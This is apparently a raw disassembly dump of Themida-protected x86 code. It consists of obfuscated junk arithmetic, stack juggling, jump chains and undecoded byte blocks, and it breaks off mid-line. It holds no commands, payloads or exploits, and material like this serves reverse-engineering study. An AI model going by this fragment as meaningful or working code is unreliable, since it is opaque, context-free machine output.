24043124h, 8B240433h, 0E9F62424h, 0CCB60F66h dd 0FFF477E9h, 4C483FFh, 263FE9h db 0 ; --------------------------------------------------------------------------- loc_559469: ; CODE XREF: Themida_:00553B07j mov edx, [esp] add esp, 4 add ebx, 1C8A18A4h pop ebp push ecx mov ecx, 5C5F879h add ebx, 26371EA3h jmp loc_55781F ; --------------------------------------------------------------------------- loc_55948A: ; CODE XREF: Themida_:0055BBA3j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5508C5 ; --------------------------------------------------------------------------- db 8Fh dd 0D35C2404h, 0E99C240Ch, 0FFFF4919h, 33240C31h, 0C31240Ch dd 6FE3E924h, 9CBA0000h, 0E9086D18h, 0FFFFB3A6h, 52EFF281h dd 0D5295772h, 0EAED815Ah, 0E94F3C46h, 120Bh ; --------------------------------------------------------------------------- loc_5594D8: ; CODE XREF: Themida_:0055D6E8j push dword ptr [esp] pop edi add esp, 4 push ebp mov ebp, 579D2DBEh add edx, ebp pop ebp push edi mov edi, 2C0901B1h sub edx, edi mov edi, [esp] add esp, 4 sub ebx, edx pop edx add ebx, edi add ebx, 35042C3Dh push 31EFh mov [esp], eax sub esp, 4 mov [esp], edi mov edi, 0 mov eax, edi pop edi push ebp jmp loc_55DC6D ; --------------------------------------------------------------------------- loc_559520: ; CODE XREF: Themida_:0054F64Cj xchg eax, esi xor eax, ebp xor ebp, eax xor eax, ebp xor ebp, eax xor eax, ebp xor ebp, eax not eax xchg eax, ebp jmp loc_55B56B ; --------------------------------------------------------------------------- db 81h, 0C2h, 7Bh dd 5D16FF2Ah, 6EB1E9h, 2EDC100h, 0D47EF581h, 0EB892EDAh dd 0FF50C3E9h, 243C89FFh, 6852E789h, 1460h, 68241C89h dd 4F99h, 0B9240C89h, 4, 0E95A5152h, 0FFFFC10Ch, 561211B8h dd 931DE920h, 0B951FFFFh, 73F95FE1h, 2959CD31h, 42E95DE9h dd 81000092h, 0FFFFFFEDh, 0F2BB53FFh, 1537457h, 0E5815BDDh dd 2C006012h, 1006C581h, 0ED810338h, 0BFB595E3h, 555DEB89h dd 0F21B65BDh, 8BEB293Fh, 0C483242Ch, 4E3C104h, 6F75E9h dd 5AEBD00h, 0D3E9319Ah, 1FFFFC5h, 0E8295EF5h, 7108E9h db 0 ; --------------------------------------------------------------------------- loc_5595DD: ; CODE XREF: Themida_:00561C79j neg ebp jmp loc_55C77F ; --------------------------------------------------------------------------- loc_5595E4: ; CODE XREF: Themida_:0055820Ej add esp, 4 neg ebx push ebp mov ebp, 0D540683h sub ebx, 1C8A18A4h sub ebx, 708721C3h add ebx, 20BC3B1Ah sub ebx, ebp sub ebx, 20BC3B1Ah push edx jmp loc_553B00 ; --------------------------------------------------------------------------- db 55h dd 548577BDh, 67B82DD6h, 942D6F2Fh, 296EC650h, 509405E8h dd 52556EC6h, 71659DBAh, 21BBD77h, 0D501F7BEh, 5DE8015Ah dd 0E9242C8Bh, 0FFFF84D2h ; --------------------------------------------------------------------------- loc_559640: ; CODE XREF: Themida_:00556D42j dec ecx inc ecx dec ecx add ecx, 0DED5CE47h add ebx, ecx pop ecx jmp loc_55EED6 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0E9240431h, 4602h, 12C7815Ah, 0E93D1822h, 0FFFFD42Ch dd 50A6F181h, 6DE969ADh db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559673: ; CODE XREF: Themida_:00550F9Bj xor edx, 2EAA14FFh inc edx jmp loc_55369F ; --------------------------------------------------------------------------- db 81h dd 5DF7EDF7h, 5FF989DEh, 6FCDE9h db 0 ; --------------------------------------------------------------------------- loc_55968D: ; CODE XREF: Themida_:0054F7A7j mov esi, [esp] add esp, 4 push ebx mov ebx, 5A376838h add ebx, 23BD240Fh dec ebx or ebx, 67926F71h add ebx, 82C51EEAh xor esi, ebx pop ebx xor eax, esi pop esi shl eax, 7 push ebp mov ebp, 6A10B002h add eax, ebp pop ebp add ecx, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_557AB2 ; --------------------------------------------------------------------------- loc_5596D1: ; CODE XREF: Themida_:00561185j mov esi, esp jmp loc_55DB2E ; --------------------------------------------------------------------------- loc_5596D8: ; CODE XREF: Themida_:005562E2j mov ecx, [esp] add esp, 4 push ebx push esi jmp loc_555F5F ; --------------------------------------------------------------------------- loc_5596E5: ; CODE XREF: Themida_:0054F4F2j mov ecx, 4C3D37E0h sub ebx, ecx pop ecx xor ebx, 3F71E120h sub edx, ebx jmp loc_557EB9 ; --------------------------------------------------------------------------- loc_5596FA: ; CODE XREF: Themida_:00550B11j push eax mov eax, 7BDF77DFh jmp loc_55D9B1 ; --------------------------------------------------------------------------- db 0BDh, 62h, 28h dd 0F58137A1h, 1D1363BAh, 4A70E9h db 0 ; --------------------------------------------------------------------------- loc_559715: ; CODE XREF: Themida_:005564CCj xchg esi, edi xor edi, 4AB6E40Bh add eax, edi pop edi push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp shl eax, cl sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_550392 ; --------------------------------------------------------------------------- dw 0F66h dd 9C2404ABh, 0FF4678E9h, 24048BFFh, 4C481h, 6CE90000h dd 33FFFFE1h, 34312434h, 24343324h, 5DBFE9h db 0 ; --------------------------------------------------------------------------- loc_559769: ; CODE XREF: Themida_:00552CF2j mov [esp], edi mov edi, 1B5070BDh jmp loc_55CB3D ; --------------------------------------------------------------------------- loc_559776: ; CODE XREF: Themida_:0055D630j movzx cx, ah push 465Ah mov [esp], ebx jmp loc_554388 ; --------------------------------------------------------------------------- db 5Dh dd 4BB53h, 0DD010000h, 0E9241C8Bh, 584h, 0DAEA815Ch, 160C92Bh dd 0B164E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5597A6: ; CODE XREF: Themida_:00550222j mov esi, esp push eax mov eax, 4 jmp loc_56121E ; --------------------------------------------------------------------------- loc_5597B3: ; CODE XREF: Themida_:0055AFC8j mov ecx, 36CA1A31h xor ebx, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or edx, ebx pop ebx jmp loc_55115C ; --------------------------------------------------------------------------- loc_5597D5: ; CODE XREF: Themida_:0055027Aj push 7CB8h mov [esp], ebp sub esp, 4 mov [esp], eax jmp loc_557FB0 ; --------------------------------------------------------------------------- dd 8324348Bh, 2C8904ECh, 0E6895624h, 4C681h, 82E90000h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5597FF: ; CODE XREF: Themida_:0055E055j add ecx, 4 push edi mov edi, 102E3BB0h and edi, 1D78783Bh jmp loc_557511 ; --------------------------------------------------------------------------- loc_559816: ; CODE XREF: Themida_:00556DEAj sub dword ptr [esp], 0F390764h add dword ptr [esp], 7E144299h mov ebx, [esp] jmp loc_54E8AC ; --------------------------------------------------------------------------- dd 47A7ED81h, 0B1E97F93h, 55FFFF63h, 0F435DFBDh, 8BCFE94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559842: ; CODE XREF: Themida_:0055F793j pop eax add ebp, 4 xchg ebp, [esp] pop esp sub esp, 2 mov [esp], ax jmp loc_54E7A5 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 95E982B7h, 29FFFF76h, 68E95DE8h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55986B: ; CODE XREF: Themida_:00554BE3j push edx push 546177A4h pop edx push ebx mov ebx, 3C8F2D05h shr ebx, 4 shr ebx, 3 push esi mov esi, 766E5B15h jmp loc_555339 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 89240489h, 97BF57E0h, 51753546h, 0B33CCBB9h dd 224EE932h, 81590000h, 4C1h, 7BE7E900h, 89500000h, 405E0h dd 42D0000h, 87000000h, 895C2404h, 0E6892434h, 4C681h dd 0E9510000h, 0FFFFB905h ; --------------------------------------------------------------------------- loc_5598D4: ; CODE XREF: Themida_:005616B3j xchg eax, edx jmp loc_55C21B ; --------------------------------------------------------------------------- dw 0B951h dd 4, 8759CF01h, 515C243Ch, 4C6C07B9h, 9BE1816Ch, 41573575h dd 348C181h, 0EA81329Eh, 657A3135h, 51E9CA29h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559907: ; CODE XREF: Themida_:0055F300j pop ebp jmp loc_5570FD ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 2C968h, 24048900h, 4ABCE9h db 0 ; --------------------------------------------------------------------------- loc_55991D: ; CODE XREF: Themida_:00557BBCj pop edi push dword ptr [esp] pop eax push edi push esp pop edi add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] add eax, 4 push ebx push ebp push 3A51038Ch pop ebp push edi mov edi, 59647972h shl edi, 6 neg edi sub edi, 0E132A708h jmp loc_5574A3 ; --------------------------------------------------------------------------- loc_559960: ; CODE XREF: Themida_:005616CBj mov dl, 41h neg dl or dl, 0E0h push bx jmp loc_55CD48 ; --------------------------------------------------------------------------- dw 7F68h dd 89000015h, 6CE9242Ch, 68000024h, 78B8h, 68243489h, 5D077761h dd 5CCE815Eh, 8150762Eh, 69F41CC6h, 8BF789ECh, 0C4812434h dd 4, 5F5FFB29h, 314C381h, 0BF574E72h, 7E8A62E5h, 7E29F781h dd 0C78139DDh, 77EE0F4Fh, 0E906EFC1h, 0FFFFCE74h, 24442966h dd 0E9586602h, 0FFFFCD2Bh, 0E9240C89h, 0FFFFC48Ch, 240C8B66h dd 0FF68B8E9h, 0FE690CFFh, 0D5BBE9C8h, 815AFFFFh, 4C2h dd 4C28300h, 2474FF52h, 48F5A04h, 24248B24h, 2B1F68h, 241C8900h dd 1BD468h, 24148900h, 0D2F6C6B2h, 8310E280h, 1C8904ECh dd 63B324h, 0D4B75BDAh, 148BD730h, 0AAEBE924h, 8B66FFFFh dd 89512404h, 41BA52E1h, 0C1352D01h, 0C28308E2h, 527AE901h dd 0E089FFFFh, 405h, 4B31E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559A52: ; CODE XREF: Themida_:0055E3C2j add eax, 1E701260h pop esi mov ecx, [esp] add esp, 4 xor ebx, eax jmp loc_561ED1 ; --------------------------------------------------------------------------- dd 2474FF57h, 48F5F04h, 0F3CEE924h, 3433FFFFh, 24343124h dd 8B243433h, 0E0682424h, 89000074h, 36E92404h, 31FFFF43h dd 31C131C8h, 0BB5359C8h, 1B597E95h, 5D96E9h, 30DEB400h dd 0F6F7E9ECh, 9668FFFFh, 5A2BBA51h, 81E2D14Ah, 1538C8C2h dd 65BE5644h, 0E983DEB9h, 0FFFFA339h ; --------------------------------------------------------------------------- loc_559AC4: ; CODE XREF: Themida_:0054DE2Aj pop edi xor eax, 29F5186Eh xor eax, 797A66B6h push 2E3Ah mov [esp], eax pop esi jmp loc_5525CC ; --------------------------------------------------------------------------- db 1, 0EEh, 81h dd 7B43C5C6h, 242C8B2Ah, 5204C483h, 2B68E289h, 8900000Ah dd 4BD242Ch, 1000000h, 242C8BEAh, 8104C483h, 4EAh, 0C3CAE900h dd 0C281FFFFh, 21D9A5CBh, 0BAE9D031h, 66000007h, 0E924048Bh dd 0FFFF9C51h, 5C240C87h, 2C581h, 0FF550000h, 8B042474h dd 0C483242Ch, 0F4F1E904h, 5451FFFFh, 0FF53FBE9h, 24148BFFh dd 565D5455h, 0FF6AFDE9h, 404BDFFh, 0C501E9D2h, 0C1DDF758h dd 0EC8303E5h, 241C8904h, 0A75C7FBBh, 0E9DBF730h, 0FFFFD961h dd 81D3F759h, 947D17EBh, 0E9D82972h, 0FFFFB9A4h ; --------------------------------------------------------------------------- loc_559B80: ; CODE XREF: Themida_:0056142Cj mov edi, 61D30EF9h shr edi, 4 shl edi, 3 push esi mov esi, 264564B3h add edi, esi jmp loc_5575F4 ; --------------------------------------------------------------------------- dd 6857515Ch, 1BD665E8h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_55E707 ; --------------------------------------------------------------------------- loc_559BB3: ; CODE XREF: Themida_:005504E5j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_5500CA ; --------------------------------------------------------------------------- loc_559BCB: ; CODE XREF: Themida_:005502CDj xor edi, [esp] pop esp xor bh, dh mov dx, [esp] add esp, 2 jmp loc_560F70 ; --------------------------------------------------------------------------- db 29h, 0F0h, 2Dh dd 35A55776h, 5D54555Eh, 4C581h, 0ED810000h, 4, 5C242C87h dd 0BF243C89h, 14517033h, 0FFFFC781h, 0A968FFFFh, 8900006Eh dd 0E3BA2414h, 0E903E72Ah, 0FFFF6C24h, 4805E950h, 0CB81FFFFh dd 15B60A83h, 0FFD124E9h, 46850FFh, 8B000000h, 89532404h dd 0BB5357E3h, 6D1C5619h, 0F706E3C1h, 81DBF7D3h, 887E67CBh dd 63F3815Dh, 0E95F9DFEh, 1D97h, 2474FF53h, 48F5B04h, 34895C24h dd 527EBE24h, 0E9572404h, 0FFFFA9E9h, 81E38953h, 4C3h dd 0DB71E900h, 0C381FFFFh, 1AC56B13h, 525BD801h, 77C2CFBAh dd 5AD02925h, 8358C701h, 0BFE904EFh, 81000089h, 4C2h, 267EE900h dd 0E9510000h, 6540h ; --------------------------------------------------------------------------- loc_559CA8: ; CODE XREF: Themida_:00555744j sub edx, 42F124C5h mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] sub [edi+24h], edx jmp loc_55F2A6 ; --------------------------------------------------------------------------- loc_559CCB: ; CODE XREF: Themida_:00561349j mov edx, 6269145Ah not edx sub edx, 1FDF20F5h sub edx, 107119CDh and edx, 52C627A9h add edx, 48704F20h sub edx, 2D2C2C36h add edi, edx pop edx add edi, 0FE4E2596h mov ebx, edi pop edi sub ebx, 7B9378A4h sub ebx, edx add ebx, 7B9378A4h push dword ptr [esp] pop edx add esp, 4 sub ebx, 1A1A518Fh jmp loc_55EC55 ; --------------------------------------------------------------------------- dd 4C481h, 0C5830000h, 382B6804h, 2C890000h, 2474FF24h dd 242C8B04h, 4C481h, 0A8E90000h, 0C0000013h, 0E98008E9h dd 0F24CE9E2h, 685DFFFFh, 6944h, 49AAE9h db 0 ; --------------------------------------------------------------------------- loc_559D55: ; CODE XREF: Themida_:0055026Dj add [esp+4], edi sub dword ptr [esp+4], 7E346ED4h jmp loc_5546C4 ; --------------------------------------------------------------------------- loc_559D66: ; CODE XREF: Themida_:0055626Aj add ebx, 4 add ebx, 4 push ebx jmp loc_562152 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C4h dd 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5557E6 ; --------------------------------------------------------------------------- db 80h, 4, 24h dd 243C8A86h, 6602C483h, 0B949E951h, 0E0C1FFFFh, 5BBA5207h dd 290C0946h, 24148BD0h, 0FFD21BE9h, 0C18358FFh, 7FEBE904h dd 77FF0000h, 19589D1Ch, 0E99C2404h, 0FFFF6595h, 8904EC83h dd 0E954242Ch, 0FFFFBD49h, 1F5EBD55h, 0EB2162ABh, 35BDE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559DEA: ; CODE XREF: Themida_:0055D2D9j mov ecx, esi pop esi jmp loc_54DDCB ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 55000000h, 0FFA1DBE9h, 8E948FFh, 66FFFFEDh dd 52240C8Bh, 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h dd 240C895Ch, 1C7068h, 48F5400h, 24048124h, 4, 592434FFh dd 4C481h, 0DA680000h, 0E9000053h, 0FFFF9A25h, 0FFFFEF81h dd 5352FFFFh, 0EF6DEABBh, 5FD0E9F0h, 0E950FFFFh, 32A0h dd 0EE5543BDh, 4EEB816Ch, 0E9695243h, 0FFFFA6D2h ; --------------------------------------------------------------------------- loc_559E70: ; CODE XREF: Themida_:00560628j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 3857h mov [esp], edx push 5CE2h mov [esp], eax push edx jmp loc_55CE82 ; --------------------------------------------------------------------------- dw 0B753h dd 3042B5D4h, 0EDC05BFDh, 89E58008h, 8049E580h, 0EE00BBEDh dd 4C6BE959h, 0C681FFFFh, 73083568h, 8B2434FFh, 0C481241Ch dd 4, 8904EC83h, 0E189240Ch, 4C181h, 0A5E90000h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559EE3: ; CODE XREF: Themida_:0055A267j pop ebx xor edx, [esp] xor [esp], edx jmp loc_55DD9D ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 405E089h, 2D000000h, 4, 2474FF50h, 7E95804h dd 28FFFF82h, 2E43E9C8h, 802D0000h, 19DC903h, 59EEE9C3h dd 11BEFFFFh, 0E960A971h, 225h, 81240C8Bh, 4C4h, 559EE900h dd 0F5010000h, 2A00C581h, 7DE95783h, 51000007h, 4B9h, 59C88900h dd 2142E9h db 0 ; --------------------------------------------------------------------------- loc_559F51: ; CODE XREF: Themida_:00562662j push 1250h mov [esp], ebp mov ebp, 6AE72351h neg ebp push ecx mov ecx, 0FFFFFFFFh sub ebp, ecx pop ecx xor ebp, 9518DCB0h sub ebp, ebx xchg ebp, ebx jmp loc_55CF43 ; --------------------------------------------------------------------------- dd 8650EDB4h, 0F601247Ch, 247C86D7h, 0DCF65801h, 68F9E480h dd 4CBAh, 0E9240C89h, 0FFFFB9E1h, 815AD301h, 0EBF68EF3h dd 5BD9013Bh, 0FFD0F0E9h, 747668FFh, 0C890000h, 52E18924h dd 4BAh, 5AD10100h, 0FFD1C5E9h, 0E932FFFFh, 0FFFF3DFDh dd 55241489h, 3C1ABD66h, 81665566h, 4DB2434h, 0FF8114E9h dd 5BDA89FFh, 4D5AD531h, 5CF5BB53h, 0EBC1667Fh, 99C38108h dd 4367383Eh, 0EB81DBF7h, 13884A7Bh, 0CA58EB81h, 0DD013254h dd 1E4FE9h, 24248B00h, 8904EC83h, 2BB241Ch, 0E9000000h dd 0FFFF6334h, 0E9240C87h, 0FFFFE4A1h, 0E9EB875Fh, 0FFFF94C6h dd 38A2CA81h, 0CA8125B9h, 1051735Eh, 0FF782DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A03D: ; CODE XREF: Themida_:0055BE4Dj pop edi add edx, edi push 2E2Fh mov [esp], esi mov esi, 0 jmp loc_5583FE ; --------------------------------------------------------------------------- loc_55A052: ; CODE XREF: Themida_:00551E1Dj push ebx push eax mov eax, 36807CBCh xor eax, 67822CBh jmp loc_560EB9 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 0ECEh, 7907E9h, 24448100h, 0AD3A9504h, 2A74E94Dh dd 78040000h, 0FFBBF3E9h, 0E9DEF7FFh, 2475h ; --------------------------------------------------------------------------- loc_55A08C: ; CODE XREF: Themida_:00554F37j push edx mov dh, 36h add dh, 6 dec dh xor dh, 35h jmp loc_558489 ; --------------------------------------------------------------------------- dd 0B73C581h, 0C501086Ch, 0B73ED81h, 48B086Ch, 4C48324h dd 4BB53h, 0DD290000h, 0FFC1EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A0BD: ; CODE XREF: Themida_:005531FCj add ebp, 16208A8h sub ebp, 0C408C5F3h or esi, ebp pop ebp not esi inc esi push ecx push 1402353h jmp loc_554C1F ; --------------------------------------------------------------------------- loc_55A0DA: ; CODE XREF: Themida_:0055E864j mov edx, [esp] add esp, 4 jmp loc_55796D ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5F04h, 4335C24h, 24043124h, 3901E9h, 0E6895600h dd 4C681h, 0C6810000h, 4, 0E9243487h, 0FFFF54E2h, 0F960E95Ah dd 875DFFFFh, 4EE368EEh, 82E90000h, 4BFFFF4Ch, 37E6EB81h dd 0DD89590Fh, 636E055Bh, 0E8296258h, 58636E2Dh, 242C8B62h dd 4C481h, 4330000h, 24043124h, 6E7DE9h, 24742900h, 0B9515E08h dd 5B9A2569h, 8244C29h, 24148B59h, 4C481h, 31E90000h, 89FFFF5Dh dd 322D5EF0h, 1231525h, 253205D0h, 28892315h, 8324048Bh dd 5A5D04C4h, 0E92434FFh, 0FFFFB93Ah ; --------------------------------------------------------------------------- loc_55A18C: ; CODE XREF: Themida_:00557123j push dword ptr [esp] pop ebx push eax mov eax, esp push edx mov edx, 4 sub eax, 9BE5EEBh add eax, edx jmp loc_55DF18 ; --------------------------------------------------------------------------- db 31h, 0F5h, 31h dd 0F7F531EEh, 0BAB6E9DEh, 0B450FFFFh, 58E228FFh, 88EBEA80h dd 7C7CE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A1C2: ; CODE XREF: Themida_:00561817j mov [esp], ebx pop dword ptr [edi+20h] push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], edi push 3D9A4139h pop edi shl edi, 2 push ecx mov ecx, 79C86484h dec ecx push esi push ebp jmp loc_56024E ; --------------------------------------------------------------------------- db 89h dd 4BD55E2h, 0E9000000h, 5443h, 63B6F581h, 0F5816815h dd 47483E86h, 0FFF328E9h, 4BBFFh, 82E90000h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A223: ; CODE XREF: Themida_:00561ACAj mov esi, [esp] push esi jmp loc_55D3D6 ; --------------------------------------------------------------------------- dd 79E9E6D1h, 45FFFF82h, 0C7A0E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A23A: ; CODE XREF: Themida_:00557CBFj pop ecx mov ecx, [esp] add esp, 4 jmp loc_554749 ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 499AE924h, 50ADFFFFh, 0FFD5D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A259: ; CODE XREF: Themida_:00556DC0j add edx, 4 push ebx mov ebx, 4 sub edx, ebx jmp loc_559EE3 ; --------------------------------------------------------------------------- aZIspy db '‡<$\)ëé¯Y',0 dw 8300h dd 0C68304C4h, 5EAFE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A282: ; CODE XREF: Themida_:005547BEj or ebp, 36513C70h or ebp, 17675660h add ebp, 0B2734E57h jmp loc_55DF33 ; --------------------------------------------------------------------------- loc_55A299: ; CODE XREF: Themida_:00551681j mov ecx, 43B853CEh push ecx inc dword ptr [esp] mov ecx, [esp] add esp, 4 inc ecx jmp loc_54E9C7 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0FAh dd 0E9634664h, 0FFFFC2D0h, 24048B66h, 709C68h, 242C8900h dd 0EC83E589h, 24148904h, 0FFBA91E9h, 24148BFFh, 6804C483h dd 31A1h, 0E9240489h, 0FFFFBF37h, 0FF5BFD88h, 68582434h dd 1AE4h, 5054E9h, 948BB00h, 0D3F70571h, 64EF381h, 0EBC129C3h dd 73E38102h, 8133EE52h, 0BAFBDAC3h, 5BD98914h, 26C9EB81h dd 0CB011434h, 26C9C381h, 1591434h, 0CEB81CBh, 0FF457D4Ch dd 83592434h, 0B85004C4h, 649008BBh, 767BE9h, 53ED8100h dd 5A4E7D36h, 8904EC83h, 24E92434h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A353: ; CODE XREF: Themida_:0055A5F0j mov eax, [esp] add esp, 4 push dword ptr [esp] jmp loc_55E08E ; --------------------------------------------------------------------------- loc_55A364: ; CODE XREF: Themida_:00558016j mov [esp], eax mov eax, 609D728Dh add eax, 66C54612h inc eax or eax, 2D1E03D5h not eax xor eax, 46FD64DBh mov ebx, eax pop eax shl ebx, 7 jmp loc_5581F2 ; --------------------------------------------------------------------------- db 66h, 29h, 0D0h dd 275A2D66h, 4F660566h, 0BB66535Ah, 0C8E964E0h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A39F: ; CODE XREF: Themida_:0055A91Fj push edi mov edi, 42166D08h jmp loc_557FBB ; --------------------------------------------------------------------------- dw 0F2BFh a45erU8bQzgbtl4 db '45eRºî',0Bh,'-8Ê¿QZgâ‹4Â2PéÐN',0 db 0 ; --------------------------------------------------------------------------- loc_55A3C7: ; CODE XREF: Themida_:00550B03j mov [esp], esi push esi push esp mov esi, [esp] jmp loc_54E432 ; --------------------------------------------------------------------------- dd 6598BF57h, 0F829116Ch, 0E92434FFh, 3AA3h ; --------------------------------------------------------------------------- loc_55A3E4: ; CODE XREF: Themida_:0054EEEBj sub ebp, 676C020Dh jmp loc_560AE0 ; --------------------------------------------------------------------------- db 5Ch dd 31240C33h, 0C33240Ch, 557BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3FE: ; CODE XREF: Themida_:00552D0Dj mov [esp], edi push edx mov edx, 3D247CC1h add edx, 0FFFFFFFFh add edx, 0BD7577Dh inc edx add edx, 0DB408AC7h mov edi, edx mov edx, [esp] add esp, 4 sub edx, edi pop edi sub edx, 0FFFFFFFFh add edx, 10D93875h sub edi, edx jmp loc_55BD7E ; --------------------------------------------------------------------------- db 4, 94h, 68h dd 6DAEh, 19ECE9h, 40500h, 4050000h, 87000000h, 0E95C2404h dd 7AAAh ; --------------------------------------------------------------------------- loc_55A454: ; CODE XREF: Themida_:00558C1Aj mov edi, 85B92FCh jmp loc_556C28 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 64E9D501h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A46B: ; CODE XREF: Themida_:0055DAC1j mov ebp, 32C176FDh sub edi, 495A6C42h sub edi, ebp add edi, 495A6C42h pop ebp jmp loc_54FCA0 ; --------------------------------------------------------------------------- loc_55A484: ; CODE XREF: Themida_:0055D50Aj add ebx, edi jmp loc_5614D2 ; --------------------------------------------------------------------------- loc_55A48B: ; CODE XREF: Themida_:0054FDE6j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5623AE ; --------------------------------------------------------------------------- db 29h, 0D8h, 5Bh dd 502E8C1h, 7E5951B1h, 8E118D25h, 1D68516Eh, 594EF559h dd 0E981D1F7h, 32897B9Fh, 6F0DC82Dh, 50C9E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A4CA: ; CODE XREF: Themida_:00554D97j add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_553DC8 ; --------------------------------------------------------------------------- db 89h dd 74FF243Ch, 8F5F0424h, 0ADE92404h, 0BBFFFFF2h, 1ACB557Bh dd 1C9C7BDh, 8BDD2934h, 0C481241Ch, 4, 4246C01h, 83242C8Bh dd 2C8104C4h, 0BE39B124h, 2404811Dh, 3FDB0768h, 2A94E9h dd 24048B00h, 4C481h, 25E90000h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A52B: ; CODE XREF: Themida_:0055BB79j sub ebp, eax pop eax sub ecx, ebp pop ebp add ecx, 67613883h add ecx, eax push 4ACCh mov [esp], ebx mov ebx, 67613883h sub ecx, ebx pop ebx push eax mov eax, 0B7D1ABCh neg eax jmp loc_5627F8 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 3304C383h, 1C31241Ch, 241C3324h, 8124248Bh, 4C5h dd 2B95100h, 0E9000000h, 0FFFFDC46h, 0C888F988h, 241C8B59h dd 4C481h, 0C3880000h, 0E92434FFh, 7828h, 56F6815Eh, 0E9588912h dd 0FFFFFBCBh ; --------------------------------------------------------------------------- loc_55A5A0: ; CODE XREF: Themida_:00554280j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push edi push ecx mov ecx, 4C507562h jmp loc_55D22B ; --------------------------------------------------------------------------- loc_55A5C2: ; CODE XREF: Themida_:0054E283j add bl, 32h add bl, 0DEh jmp loc_55AD9C ; --------------------------------------------------------------------------- loc_55A5CD: ; CODE XREF: Themida_:0055D418j sub esi, eax pop eax push 2643h mov [esp], esi push dword ptr [esp+4] mov esi, [esp] jmp loc_558339 ; --------------------------------------------------------------------------- loc_55A5E4: ; CODE XREF: Themida_:005504F6j add eax, ebp pop ebp add eax, ebx sub eax, 399A169Bh mov ecx, [eax] jmp loc_55A353 ; --------------------------------------------------------------------------- loc_55A5F5: ; CODE XREF: Themida_:0055546Bj pop esp add eax, 451C6C3Fh sub eax, edx push 91Bh mov [esp], ebx jmp loc_550137 ; --------------------------------------------------------------------------- dw 8145h dd 0D01404CDh, 36C5811Dh, 0E96C5111h, 0FFFF87AEh ; --------------------------------------------------------------------------- loc_55A61C: ; CODE XREF: Themida_:00555D4Bj add ebx, 13155003h jmp loc_5569E6 ; --------------------------------------------------------------------------- db 81h dd 0B330FEF2h, 3CC7819Fh, 81139D3Dh, 3603D8C7h, 81D7016Fh dd 3603D8EFh, 95BE566Fh, 0E927C960h, 4D5Ch, 0E9243C89h dd 0FFFFED00h ; --------------------------------------------------------------------------- loc_55A654: ; CODE XREF: Themida_:00552AEDj pop ecx or eax, eax jmp loc_555F4F ; --------------------------------------------------------------------------- dd 51667F24h, 0E800EFB5h, 240C8B66h, 6802C483h, 2C8Fh dd 52241C89h, 0D388C288h, 8BDD885Ah, 0E951241Ch, 0FFFF9E7Bh dd 14EE815Eh, 59014F27h, 335EF001h, 4312404h, 24043324h dd 0D224248Bh, 0E99C243Ch, 0FFFF3721h, 106EE81h, 0C8B4807h dd 4EC8324h, 89240C89h, 38BB53E1h, 0E9590C3Bh, 0FFFFD655h dd 4BE565Eh, 1000000h, 64E95EF5h, 8B000045h, 0C4832404h dd 242C3304h, 33242C31h, 0E7E9242Ch, 1FFFFE0h, 7430E9DDh dd 